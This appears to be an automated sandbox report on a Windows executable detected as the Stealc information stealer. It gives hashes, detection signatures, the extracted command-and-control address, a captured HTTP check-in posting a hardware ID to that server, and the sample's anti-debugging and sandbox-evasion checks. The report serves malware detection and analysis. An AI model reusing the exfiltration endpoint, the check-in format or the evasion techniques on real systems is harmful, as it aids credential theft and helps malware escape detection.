Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1525474
MD5:	0ab8fd273f356fc72fc0d8971976f60e
SHA1:	f88991b3868aad8231d28caa354f0f8a29deeb3b
SHA256:	6b87bd43d236ccd979ff563fea34490f006871209d6db9123c494a1a9138fd2d
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3536 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0AB8FD273F356FC72FC0D8971976F60E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2102191694.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2061075276.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3536	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3536	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.b00000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:45:05.821293+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.b00000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/e2b1563c6670f193.phpV	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpn	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/H	Virustotal: Detection: 16%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00B0C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B09AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00B09AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B07240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00B07240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B09B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00B09B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B18EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00B18EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00B138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B14910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B14910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B0DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00B0E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00B0ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B14570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00B14570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B0F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B13EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00B13EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0F68A FindFirstFileA,	0_2_00B0F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B0DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B0BE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIECAFCGDBFHIDBKFCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 42 41 43 43 46 45 31 33 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 2d 2d 0d 0a Data Ascii: ------AEHIECAFCGDBFHIDBKFCContent-Disposition: form-data; name="hwid"42BACCFE13991312647697------AEHIECAFCGDBFHIDBKFCContent-Disposition: form-data; name="build"doma------AEHIECAFCGDBFHIDBKFC--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B04880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00B04880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIECAFCGDBFHIDBKFCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 42 41 43 43 46 45 31 33 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 45 43 41 46 43 47 44 42 46 48 49 44 42 4b 46 43 2d 2d 0d 0a Data Ascii: ------AEHIECAFCGDBFHIDBKFCContent-Disposition: form-data; name="hwid"42BACCFE13991312647697------AEHIECAFCGDBFHIDBKFCContent-Disposition: form-data; name="build"doma------AEHIECAFCGDBFHIDBKFC--

Source: file.exe, 00000000.00000002.2102191694.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2102191694.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2102191694.0000000001238000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/H
Source: file.exe, 00000000.00000002.2102191694.0000000001255000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2102191694.0000000001238000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2102191694.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2102191694.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpV
Source: file.exe, 00000000.00000002.2102191694.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpn

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D8F0	0_2_00D7D8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9	0_2_00ED50D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6209A	0_2_00F6209A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F6B070	0_2_00F6B070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E7F9BE	0_2_00E7F9BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D98902	0_2_00D98902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D85A3F	0_2_00D85A3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E393D0	0_2_00E393D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EDD3A7	0_2_00EDD3A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED2392	0_2_00ED2392
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E65303	0_2_00E65303
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE24C9	0_2_00EE24C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EDBCB7	0_2_00EDBCB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4C5E0	0_2_00E4C5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E6D6A5	0_2_00E6D6A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EDEE6A	0_2_00EDEE6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED9E65	0_2_00ED9E65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D87FC0	0_2_00D87FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB7F8D	0_2_00DB7F8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7FF2C	0_2_00D7FF2C

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00B045C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: incycuuu ZLIB complexity 0.9948040822407628

Source: file.exe, 00000000.00000003.2061075276.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B18680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00B18680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B13720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00B13720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\6UEFEYYD.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1874432 > 1048576

Source: file.exe

Static PE information: Raw size of incycuuu is bigger than: 0x100000 < 0x1a3800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;incycuuu:EW;crmoanhn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;incycuuu:EW;crmoanhn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B19860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B19860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d86c3 should be: 0x1c9eb3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: incycuuu
Source: file.exe	Static PE information: section name: crmoanhn
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F990F3 push 59A68E01h; mov dword ptr [esp], edi	0_2_00F991A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE78ED push ecx; mov dword ptr [esp], ebp	0_2_00FE7857
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D8F0 push 74A684E4h; mov dword ptr [esp], edx	0_2_00D7D9F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D8F0 push 54BD4ECFh; mov dword ptr [esp], ebp	0_2_00D7D9F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D8F0 push ebx; mov dword ptr [esp], ecx	0_2_00D7DA7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D8F0 push edx; mov dword ptr [esp], 532E0CC3h	0_2_00D7DB30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE88D9 push 16A54A02h; mov dword ptr [esp], ebx	0_2_00FE8953
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push esi; mov dword ptr [esp], 3E79D0C7h	0_2_00ED5108
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push eax; mov dword ptr [esp], edx	0_2_00ED513B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push ecx; mov dword ptr [esp], esi	0_2_00ED514A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push ecx; mov dword ptr [esp], 7DCAE4A4h	0_2_00ED514E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push edi; mov dword ptr [esp], ebx	0_2_00ED516E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push 37ABE7EFh; mov dword ptr [esp], eax	0_2_00ED51FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push 663CA09Ch; mov dword ptr [esp], ecx	0_2_00ED5242
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push 2053C220h; mov dword ptr [esp], eax	0_2_00ED5290
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push esi; mov dword ptr [esp], ecx	0_2_00ED52A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push ebx; mov dword ptr [esp], eax	0_2_00ED52BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push eax; mov dword ptr [esp], edx	0_2_00ED52BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push eax; mov dword ptr [esp], esi	0_2_00ED52D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push ebp; mov dword ptr [esp], 73EEE629h	0_2_00ED53E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push ecx; mov dword ptr [esp], 2E306851h	0_2_00ED547F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push ebp; mov dword ptr [esp], 52AA1206h	0_2_00ED54FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push edx; mov dword ptr [esp], ebp	0_2_00ED55AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push ebp; mov dword ptr [esp], 1F7D4B58h	0_2_00ED55AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push esi; mov dword ptr [esp], 4A48A473h	0_2_00ED55F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push 24841E3Ch; mov dword ptr [esp], ecx	0_2_00ED562D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push ebp; mov dword ptr [esp], 74BB4129h	0_2_00ED5636
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push eax; mov dword ptr [esp], ebx	0_2_00ED5684
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push eax; mov dword ptr [esp], ebp	0_2_00ED56CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push 7626C042h; mov dword ptr [esp], edx	0_2_00ED56D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED50D9 push esi; mov dword ptr [esp], eax	0_2_00ED56E7

Source: file.exe

Static PE information: section name: incycuuu entropy: 7.953045233922871

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00B19860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13701

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE672D second address: EE6749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jp 00007F2AD9523876h 0x0000000d jmp 00007F2AD952387Eh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6898 second address: EE68A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2AD900F596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE68A2 second address: EE68A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6B76 second address: EE6B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6D1E second address: EE6D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6D24 second address: EE6D47 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F2AD900F598h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F2AD900F5A1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6D47 second address: EE6D57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD952387Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
